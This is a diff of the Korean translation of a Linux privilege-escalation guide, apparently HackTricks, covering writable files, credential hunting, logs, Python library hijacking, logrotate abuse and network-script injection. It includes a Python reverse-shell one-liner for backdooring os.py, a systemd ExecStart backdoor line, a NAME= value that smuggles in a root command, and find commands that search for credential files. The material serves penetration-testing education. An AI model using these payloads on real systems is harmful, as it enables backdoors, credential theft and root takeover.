์žˆ์œผ๋ฉฐ, `/etc/shadow`๋Š” `/etc/spwd.db`๋กœ ์ด๋ฆ„์ด ๋ณ€๊ฒฝ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. +์ฐธ๊ณ : BSD ํ”Œ๋žซํผ์—์„œ๋Š” `/etc/passwd`๊ฐ€ `/etc/pwd.db` ๋ฐ `/etc/master.passwd`์— ์œ„์น˜ํ•ด ์žˆ์œผ๋ฉฐ, `/etc/shadow`๋Š” `/etc/spwd.db`๋กœ ์ด๋ฆ„์ด ๋ฐ”๋€๋‹ˆ๋‹ค. -์ผ๋ถ€ ๋ฏผ๊ฐํ•œ ํŒŒ์ผ์— **์“ธ ์ˆ˜ ์žˆ๋Š”์ง€** ํ™•์ธํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, ์ผ๋ถ€ **์„œ๋น„์Šค ๊ตฌ์„ฑ ํŒŒ์ผ**์— ์“ธ ์ˆ˜ ์žˆ๋‚˜์š”? +๋ฏผ๊ฐํ•œ ํŒŒ์ผ๋“ค์— **์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ์ง€** ํ™•์ธํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, ์–ด๋–ค **์„œ๋น„์Šค ๊ตฌ์„ฑ ํŒŒ์ผ**์— ์“ธ ์ˆ˜ ์žˆ๋‚˜์š”? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -์˜ˆ๋ฅผ ๋“ค์–ด, ๋จธ์‹ ์—์„œ **tomcat** ์„œ๋ฒ„๊ฐ€ ์‹คํ–‰ ์ค‘์ด๊ณ  **modify the Tomcat service configuration file inside /etc/systemd/,** ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, ๋‹ค์Œ ๋ผ์ธ๋“ค์„ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +์˜ˆ๋ฅผ ๋“ค์–ด ๋จธ์‹ ์—์„œ **tomcat** ์„œ๋ฒ„๊ฐ€ ์‹คํ–‰ ์ค‘์ด๊ณ  **modify the Tomcat service configuration file inside /etc/systemd/,** ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ค„์„ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -๋‹น์‹ ์˜ backdoor๋Š” tomcat์ด ๋‹ค์Œ์— ์‹œ์ž‘๋  ๋•Œ ์‹คํ–‰๋  ๊ฒƒ์ž…๋‹ˆ๋‹ค. +tomcat์ด ๋‹ค์Œ์— ์‹œ์ž‘๋  ๋•Œ ๋‹น์‹ ์˜ backdoor๊ฐ€ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค. ### ํด๋” ํ™•์ธ -๋‹ค์Œ ํด๋”๋“ค์€ ๋ฐฑ์—…์ด๋‚˜ ํฅ๋ฏธ๋กœ์šด ์ •๋ณด๋ฅผ ํฌํ•จํ•˜๊ณ  ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (์•„๋งˆ ๋งˆ์ง€๋ง‰ ํ•ญ๋ชฉ์€ ์ฝ์„ ์ˆ˜ ์—†๊ฒ ์ง€๋งŒ ์‹œ๋„ํ•ด๋ณด์„ธ์š”) +๋‹ค์Œ ํด๋”์—๋Š” ๋ฐฑ์—… ๋˜๋Š” ํฅ๋ฏธ๋กœ์šด ์ •๋ณด๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (๋งˆ์ง€๋ง‰ ํ•ญ๋ชฉ์€ ์ฝ์„ ์ˆ˜ ์—†์„ ๊ฐ€๋Šฅ์„ฑ์ด ๋†’์ง€๋งŒ ์‹œ๋„ํ•ด ๋ณด์„ธ์š”) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` @@ -1349,11 +1364,11 @@ find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -p ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` -### \*\_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml ํŒŒ์ผ๋“ค +### \*\_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml ํŒŒ์ผ ```bash find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null ``` -### ์ˆจ๊น€ ํŒŒ์ผ +### ์ˆจ๊ฒจ์ง„ ํŒŒ์ผ ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` @@ -1373,22 +1388,22 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ํฌํ•จํ•  ์ˆ˜ ์žˆ๋Š” ์•Œ๋ ค์ง„ ํŒŒ์ผ๋“ค +### Known files containing passwords -[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)์˜ ์ฝ”๋“œ๋ฅผ ์ฝ์–ด๋ณด๋ฉด, **๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ํฌํ•จํ•  ์ˆ˜ ์žˆ๋Š” ์—ฌ๋Ÿฌ ๊ฐ€๋Šฅํ•œ ํŒŒ์ผ๋“ค**์„ ๊ฒ€์ƒ‰ํ•œ๋‹ค.\ -**๋˜ ๋‹ค๋ฅธ ํฅ๋ฏธ๋กœ์šด ๋„๊ตฌ**๋กœ์„œ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒƒ์€: [**LaZagne**](https://github.com/AlessandroZ/LaZagne)์ด๋ฉฐ, Windows, Linux & Mac์— ์ €์žฅ๋œ ๋งŽ์€ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋กœ์ปฌ ์ปดํ“จํ„ฐ์—์„œ ๋ณต๊ตฌํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋Š” ์˜คํ”ˆ ์†Œ์Šค ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด๋‹ค. +[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)์˜ ์ฝ”๋“œ๋ฅผ ์ฝ์–ด๋ณด๋ฉด, **๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ํฌํ•จํ•˜๊ณ  ์žˆ์„ ์ˆ˜ ์žˆ๋Š” ์—ฌ๋Ÿฌ ํŒŒ์ผ๋“ค**์„ ๊ฒ€์ƒ‰ํ•ฉ๋‹ˆ๋‹ค.\ +์ด๋ฅผ ์œ„ํ•ด ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” **๋˜ ๋‹ค๋ฅธ ํฅ๋ฏธ๋กœ์šด ๋„๊ตฌ**๋Š”: [**LaZagne**](https://github.com/AlessandroZ/LaZagne)๋กœ, Windows, Linux & Mac์˜ ๋กœ์ปฌ ์ปดํ“จํ„ฐ์— ์ €์žฅ๋œ ๋งŽ์€ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋ณต๊ตฌํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋Š” ์˜คํ”ˆ ์†Œ์Šค ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ž…๋‹ˆ๋‹ค. -### ๋กœ๊ทธ +### Logs -๋กœ๊ทธ๋ฅผ ์ฝ์„ ์ˆ˜ ์žˆ๋‹ค๋ฉด, ๊ทธ ์•ˆ์—์„œ **ํฅ๋ฏธ๋กœ์šด/๊ธฐ๋ฐ€ ์ •๋ณด**๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์„ ๊ฒƒ์ด๋‹ค. ๋กœ๊ทธ๊ฐ€ ๋” ์ด์ƒํ• ์ˆ˜๋ก ๋” ํฅ๋ฏธ๋กœ์šธ ๊ฐ€๋Šฅ์„ฑ์ด ๋†’๋‹ค.\ -๋˜ํ•œ, ์ผ๋ถ€ "**bad**"๋กœ ๊ตฌ์„ฑ๋œ (backdoored?) **audit logs**๋Š” ์ด ๊ฒŒ์‹œ๋ฌผ์—์„œ ์„ค๋ช…๋œ ๊ฒƒ์ฒ˜๋Ÿผ audit logs ๋‚ด๋ถ€์— ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ **๊ธฐ๋ก**ํ•˜๋„๋ก ํ—ˆ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +๋กœ๊ทธ๋ฅผ ์ฝ์„ ์ˆ˜ ์žˆ๋‹ค๋ฉด, ๊ทธ ์•ˆ์—์„œ **ํฅ๋ฏธ๋กœ์šด/๊ธฐ๋ฐ€ ์ •๋ณด**๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์„์ง€๋„ ๋ชจ๋ฆ…๋‹ˆ๋‹ค. ๋กœ๊ทธ๊ฐ€ ์ด์ƒํ• ์ˆ˜๋ก ๋” ํฅ๋ฏธ๋กœ์šธ ๊ฐ€๋Šฅ์„ฑ์ด ํฝ๋‹ˆ๋‹ค (์•„๋งˆ๋„).\ +๋˜ํ•œ, ์ผ๋ถ€ "**bad**"๋กœ ๊ตฌ์„ฑ๋œ(๋ฐฑ๋„์–ด๋œ?) **audit logs**๋Š” ์ด ํฌ์ŠคํŠธ์— ์„ค๋ช…๋œ ๊ฒƒ์ฒ˜๋Ÿผ ๋‚ด๋ถ€์— ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ **๊ธฐ๋ก**ํ•˜๊ฒŒ ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -๋กœ๊ทธ๋ฅผ ์ฝ๊ธฐ ์œ„ํ•ด์„œ๋Š” **๋กœ๊ทธ๋ฅผ ์ฝ์„ ์ˆ˜ ์žˆ๋Š” ๊ทธ๋ฃน** [**adm**](interesting-groups-linux-pe/index.html#adm-group)์ด ์ •๋ง ๋„์›€์ด ๋ฉ๋‹ˆ๋‹ค. +**๋กœ๊ทธ๋ฅผ ์ฝ๊ธฐ ์œ„ํ•ด์„œ๋Š”** [**adm**](interesting-groups-linux-pe/index.html#adm-group) ๊ทธ๋ฃน์ด ์ •๋ง ๋„์›€์ด ๋ฉ๋‹ˆ๋‹ค. -### ์‰˜ ํŒŒ์ผ +### Shell files ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1399,43 +1414,43 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ~/.zlogin #zsh shell ~/.zshrc #zsh shell ``` -### Generic Creds Search/Regex +### ์ผ๋ฐ˜ Creds ๊ฒ€์ƒ‰/Regex -ํŒŒ์ผ ์ด๋ฆ„์ด๋‚˜ ๋‚ด์šฉ์— "**password**"๋ผ๋Š” ๋‹จ์–ด๊ฐ€ ํฌํ•จ๋œ ํŒŒ์ผ์„ ํ™•์ธํ•˜๊ณ , ๋กœ๊ทธ ์•ˆ์˜ IPs์™€ emails, ๋˜๋Š” ํ•ด์‹œ์šฉ ์ •๊ทœ์‹๋„ ํ™•์ธํ•˜์„ธ์š”.\ -์—ฌ๊ธฐ์„œ ์ด ๋ชจ๋“  ๋ฐฉ๋ฒ•์„ ์–ด๋–ป๊ฒŒ ์ˆ˜ํ–‰ํ•˜๋Š”์ง€๋Š” ์ผ์ผ์ด ์ ์ง€ ์•Š๊ฒ ์Šต๋‹ˆ๋‹ค. ๊ด€์‹ฌ์ด ์žˆ๋‹ค๋ฉด [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh)์—์„œ ์ˆ˜ํ–‰ํ•˜๋Š” ๋งˆ์ง€๋ง‰ ๊ฒ€์‚ฌ๋“ค์„ ํ™•์ธํ•ด๋ณด์„ธ์š”. +ํŒŒ์ผ ์ด๋ฆ„์ด๋‚˜ ๋‚ด์šฉ์— "**password**"๋ผ๋Š” ๋‹จ์–ด๊ฐ€ ํฌํ•จ๋œ ํŒŒ์ผ์„ ํ™•์ธํ•˜๊ณ , ๋กœ๊ทธ ์•ˆ์˜ IPs์™€ emails, ๋˜๋Š” hashes regexps๋„ ํ™•์ธํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.\ +์—ฌ๊ธฐ์—์„œ ์ด ๋ชจ๋“  ์ž‘์—…์„ ์–ด๋–ป๊ฒŒ ์ˆ˜ํ–‰ํ•˜๋Š”์ง€ ์ผ์ผ์ด ์„ค๋ช…ํ•˜์ง€๋Š” ์•Š๊ฒ ์Šต๋‹ˆ๋‹ค. ๊ด€์‹ฌ์ด ์žˆ์œผ๋ฉด [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh)๊ฐ€ ์ˆ˜ํ–‰ํ•˜๋Š” ๋งˆ์ง€๋ง‰ ๊ฒ€์‚ฌ๋“ค์„ ํ™•์ธํ•˜์„ธ์š”. ## ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ํŒŒ์ผ ### Python library hijacking -๋งŒ์•ฝ python script๊ฐ€ ์‹คํ–‰๋  **์–ด๋””์„œ**๋ฅผ ์•Œ๊ณ  ์žˆ๊ณ  ํ•ด๋‹น ํด๋”์— **์“ธ ์ˆ˜ ์žˆ๋‹ค๋ฉด** ๋˜๋Š” python ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ **์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด**, OS library๋ฅผ ์ˆ˜์ •ํ•ด ๋ฐฑ๋„์–ด๋ฅผ ์‹ฌ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (python script๊ฐ€ ์‹คํ–‰๋˜๋Š” ์œ„์น˜์— ์“ธ ์ˆ˜ ์žˆ๋‹ค๋ฉด os.py ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ๋ณต์‚ฌํ•ด์„œ ๋ถ™์—ฌ๋„ฃ์œผ์„ธ์š”). +๋งŒ์•ฝ ์–ด๋–ค ๊ฒฝ๋กœ์—์„œ **์–ด๋””์—์„œ** a python script๊ฐ€ ์‹คํ–‰๋ ์ง€ ์•Œ๊ณ  ๊ทธ ํด๋”์— **๊ทธ ํด๋”์— ์“ธ ์ˆ˜ ์žˆ๋‹ค๋ฉด** ๋˜๋Š” **modify python libraries**ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, OS ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์ˆ˜์ •ํ•˜์—ฌ backdoor๋ฅผ ์‹ฌ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (python ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‹คํ–‰๋˜๋Š” ์œ„์น˜์— ์“ธ ์ˆ˜ ์žˆ๋‹ค๋ฉด os.py ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ๋ณต์‚ฌํ•ด์„œ ๋ถ™์—ฌ๋„ฃ์œผ์„ธ์š”). -๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์— **backdoor the library** ํ•˜๋ ค๋ฉด os.py ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์˜ ๋์— ๋‹ค์Œ ์ค„์„ ์ถ”๊ฐ€ํ•˜์„ธ์š” (IP์™€ PORT๋ฅผ ๋ณ€๊ฒฝํ•˜์„ธ์š”): +To **backdoor the library** just add at the end of the os.py library the following line (change IP and PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` ### Logrotate ์•…์šฉ -`logrotate`์˜ ์ทจ์•ฝ์ ์œผ๋กœ ๋กœ๊ทธ ํŒŒ์ผ ๋˜๋Š” ์ƒ์œ„ ๋””๋ ‰ํ„ฐ๋ฆฌ์— ๋Œ€ํ•ด **์“ฐ๊ธฐ ๊ถŒํ•œ**์„ ๊ฐ€์ง„ ์‚ฌ์šฉ์ž๊ฐ€ ๊ถŒํ•œ ์ƒ์Šน์„ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” `logrotate`๊ฐ€ ์ข…์ข… **root**๋กœ ์‹คํ–‰๋˜์–ด ์ž„์˜ ํŒŒ์ผ์„ ์‹คํ–‰ํ•˜๋„๋ก ์กฐ์ž‘๋  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ด๋ฉฐ, ํŠนํžˆ _**/etc/bash_completion.d/**_ ๊ฐ™์€ ๋””๋ ‰ํ„ฐ๋ฆฌ์—์„œ ๊ทธ๋ ‡์Šต๋‹ˆ๋‹ค. ๊ถŒํ•œ์€ _/var/log_๋ฟ๋งŒ ์•„๋‹ˆ๋ผ ๋กœ๊ทธ ํšŒ์ „์ด ์ ์šฉ๋˜๋Š” ๋ชจ๋“  ๋””๋ ‰ํ„ฐ๋ฆฌ์—์„œ ํ™•์ธํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. +`logrotate`์˜ ์ทจ์•ฝ์ ์€ ๋กœ๊ทธ ํŒŒ์ผ์ด๋‚˜ ๊ทธ ์ƒ์œ„ ๋””๋ ‰ํ„ฐ๋ฆฌ์— **์“ฐ๊ธฐ ๊ถŒํ•œ**์ด ์žˆ๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ๊ถŒํ•œ ์ƒ์Šน์„ ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. `logrotate`๊ฐ€ ํ”ํžˆ **root**๋กœ ์‹คํ–‰๋˜๋ฉฐ _**/etc/bash_completion.d/**_ ๊ฐ™์€ ๋””๋ ‰ํ„ฐ๋ฆฌ์—์„œ ์ž„์˜ ํŒŒ์ผ์„ ์‹คํ–‰ํ•˜๋„๋ก ์กฐ์ž‘๋  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ _/var/log_๋ฟ๋งŒ ์•„๋‹ˆ๋ผ ๋กœ๊ทธ ํšŒ์ „์ด ์ ์šฉ๋˜๋Š” ๋ชจ๋“  ๋””๋ ‰ํ„ฐ๋ฆฌ์˜ ๊ถŒํ•œ์„ ํ™•์ธํ•˜๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. > [!TIP] -> ์ด ์ทจ์•ฝ์ ์€ `logrotate` ๋ฒ„์ „ `3.18.0` ๋ฐ ์ด์ „ ๋ฒ„์ „์— ์˜ํ–ฅ์„ ๋ฏธ์นฉ๋‹ˆ๋‹ค +> ์ด ์ทจ์•ฝ์ ์€ `logrotate` ๋ฒ„์ „ `3.18.0` ๋ฐ ๊ทธ ์ด์ „ ๋ฒ„์ „์— ์˜ํ–ฅ์„ ์ค๋‹ˆ๋‹ค -์ทจ์•ฝ์ ์— ๋Œ€ํ•œ ์ž์„ธํ•œ ์ •๋ณด๋Š” ๋‹ค์Œ ํŽ˜์ด์ง€์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +์ž์„ธํ•œ ์ทจ์•ฝ์  ์ •๋ณด๋Š” ๋‹ค์Œ ํŽ˜์ด์ง€์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). ์ด ์ทจ์•ฝ์ ์€ [**logrotten**](https://github.com/whotwagner/logrotten)์œผ๋กœ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -์ด ์ทจ์•ฝ์ ์€ [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** ์™€ ๋งค์šฐ ์œ ์‚ฌํ•˜๋ฏ€๋กœ, ๋กœ๊ทธ๋ฅผ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ์Œ์„ ๋ฐœ๊ฒฌํ•˜๋ฉด ๋กœ๊ทธ๋ฅผ ๋ˆ„๊ฐ€ ๊ด€๋ฆฌํ•˜๋Š”์ง€ ํ™•์ธํ•˜๊ณ  ๋กœ๊ทธ๋ฅผ ์‹ฌ๋ณผ๋ฆญ ๋งํฌ๋กœ ๋Œ€์ฒดํ•˜์—ฌ ๊ถŒํ•œ ์ƒ์Šน์ด ๊ฐ€๋Šฅํ•œ์ง€ ํ™•์ธํ•˜์„ธ์š”. +์ด ์ทจ์•ฝ์ ์€ [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** ์™€ ๋งค์šฐ ์œ ์‚ฌํ•˜๋ฏ€๋กœ, ๋กœ๊ทธ๋ฅผ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ ๋ˆ„๊ฐ€ ํ•ด๋‹น ๋กœ๊ทธ๋ฅผ ๊ด€๋ฆฌํ•˜๋Š”์ง€ ํ™•์ธํ•˜๊ณ  ๋กœ๊ทธ๋ฅผ symlink๋กœ ๋Œ€์ฒดํ•˜์—ฌ ๊ถŒํ•œ ์ƒ์Šน์ด ๊ฐ€๋Šฅํ•œ์ง€ ํ™•์ธํ•˜์‹ญ์‹œ์˜ค. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**์ทจ์•ฝ์  ์ฐธ์กฐ:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -๋งŒ์•ฝ ์–ด๋–ค ์ด์œ ๋กœ ์‚ฌ์šฉ์ž๊ฐ€ _/etc/sysconfig/network-scripts_์— `ifcf-` ์Šคํฌ๋ฆฝํŠธ๋ฅผ **์“ฐ๊ธฐ** ํ•  ์ˆ˜ ์žˆ๊ฑฐ๋‚˜ ๊ธฐ์กด ๊ฒƒ์„ **์ˆ˜์ •**ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, ๋‹น์‹ ์˜ ์‹œ์Šคํ…œ์€ **pwned** ์ƒํƒœ๊ฐ€ ๋ฉ๋‹ˆ๋‹ค. +์–ด๋–ค ์ด์œ ๋กœ๋“  ์‚ฌ์šฉ์ž๊ฐ€ _/etc/sysconfig/network-scripts_์— `ifcf-` ์Šคํฌ๋ฆฝํŠธ๋ฅผ **์ž‘์„ฑ**ํ•  ์ˆ˜ ์žˆ๊ฑฐ๋‚˜ ๊ธฐ์กด ์Šคํฌ๋ฆฝํŠธ๋ฅผ **์ˆ˜์ •**ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, **์‹œ์Šคํ…œ์€ pwned ์ƒํƒœ์ž…๋‹ˆ๋‹ค**. -Network scripts, _ifcg-eth0_ for example are used for network connections. ์ด๋“ค์€ .INI ํŒŒ์ผ๊ณผ ์ •ํ™•ํžˆ ๋™์ผํ•˜๊ฒŒ ๋ณด์ž…๋‹ˆ๋‹ค. ํ•˜์ง€๋งŒ Linux์—์„œ Network Manager (dispatcher.d)์— ์˜ํ•ด ~sourced~ ๋ฉ๋‹ˆ๋‹ค. +๋„คํŠธ์›Œํฌ ์Šคํฌ๋ฆฝํŠธ(์˜ˆ: _ifcg-eth0_)๋Š” ๋„คํŠธ์›Œํฌ ์—ฐ๊ฒฐ์— ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ์ด๋“ค์€ .INI ํŒŒ์ผ๊ณผ ๊ฑฐ์˜ ๋™์ผํ•˜๊ฒŒ ๋ณด์ž…๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ Linux์—์„œ Network Manager (dispatcher.d)์— ์˜ํ•ด ~sourced~ ๋ฉ๋‹ˆ๋‹ค. -๋‚ด ๊ฒฝ์šฐ, ์ด๋Ÿฌํ•œ ๋„คํŠธ์›Œํฌ ์Šคํฌ๋ฆฝํŠธ์˜ `NAME=` ์†์„ฑ์ด ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ์ฒ˜๋ฆฌ๋˜์ง€ ์•Š์•˜์Šต๋‹ˆ๋‹ค. ์ด๋ฆ„์— **๊ณต๋ฐฑ(white/blank space)** ๊ฐ€ ์žˆ์œผ๋ฉด ์‹œ์Šคํ…œ์€ ๊ณต๋ฐฑ ๋’ค์˜ ๋ถ€๋ถ„์„ ์‹คํ–‰ํ•˜๋ ค๊ณ  ํ•ฉ๋‹ˆ๋‹ค. ์ฆ‰, **์ฒซ ๋ฒˆ์งธ ๊ณต๋ฐฑ ๋’ค์˜ ๋ชจ๋“  ๋‚ด์šฉ์ด root๋กœ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค**. +๋‚ด ๊ฒฝ์šฐ ์ด ๋„คํŠธ์›Œํฌ ์Šคํฌ๋ฆฝํŠธ๋“ค์—์„œ `NAME=` ์†์„ฑ์ด ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ์ฒ˜๋ฆฌ๋˜์ง€ ์•Š์•˜์Šต๋‹ˆ๋‹ค. ์ด๋ฆ„์— ๊ณต๋ฐฑ์ด ์žˆ์œผ๋ฉด ์‹œ์Šคํ…œ์€ ๊ณต๋ฐฑ ์ดํ›„์˜ ๋ถ€๋ถ„์„ ์‹คํ–‰ํ•˜๋ ค๊ณ  ํ•ฉ๋‹ˆ๋‹ค. ์ฆ‰, **์ฒซ ๋ฒˆ์งธ ๊ณต๋ฐฑ ์ดํ›„์˜ ๋ชจ๋“  ๊ฒƒ์ด root๋กœ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค**. ์˜ˆ: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1443,17 +1458,17 @@ NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_๋„คํŠธ์›Œํฌ์™€ /bin/id_ ์‚ฌ์ด์˜ ๊ณต๋ฐฑ์„ ์ฃผ์˜ํ•˜์„ธ์š”_) +(_Network์™€ /bin/id ์‚ฌ์ด์˜ ๊ณต๋ฐฑ์„ ์ฃผ๋ชฉํ•˜์„ธ์š”_) -### **init, init.d, systemd ๋ฐ rc.d** +### **init, init.d, systemd, and rc.d** -๋””๋ ‰ํ„ฐ๋ฆฌ `/etc/init.d` ๋Š” System V init (SysVinit) ์šฉ **์Šคํฌ๋ฆฝํŠธ**์˜ ์ €์žฅ ์œ„์น˜์ž…๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์—๋Š” ์„œ๋น„์Šค `start`, `stop`, `restart`, ๋•Œ๋กœ๋Š” `reload` ๋ฅผ ์ˆ˜ํ–‰ํ•˜๋Š” ์Šคํฌ๋ฆฝํŠธ๋“ค์ด ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์Šคํฌ๋ฆฝํŠธ๋“ค์€ ์ง์ ‘ ์‹คํ–‰๋˜๊ฑฐ๋‚˜ `/etc/rc?.d/` ์— ์žˆ๋Š” ์‹ฌ๋ณผ๋ฆญ ๋งํฌ๋ฅผ ํ†ตํ•ด ํ˜ธ์ถœ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Redhat 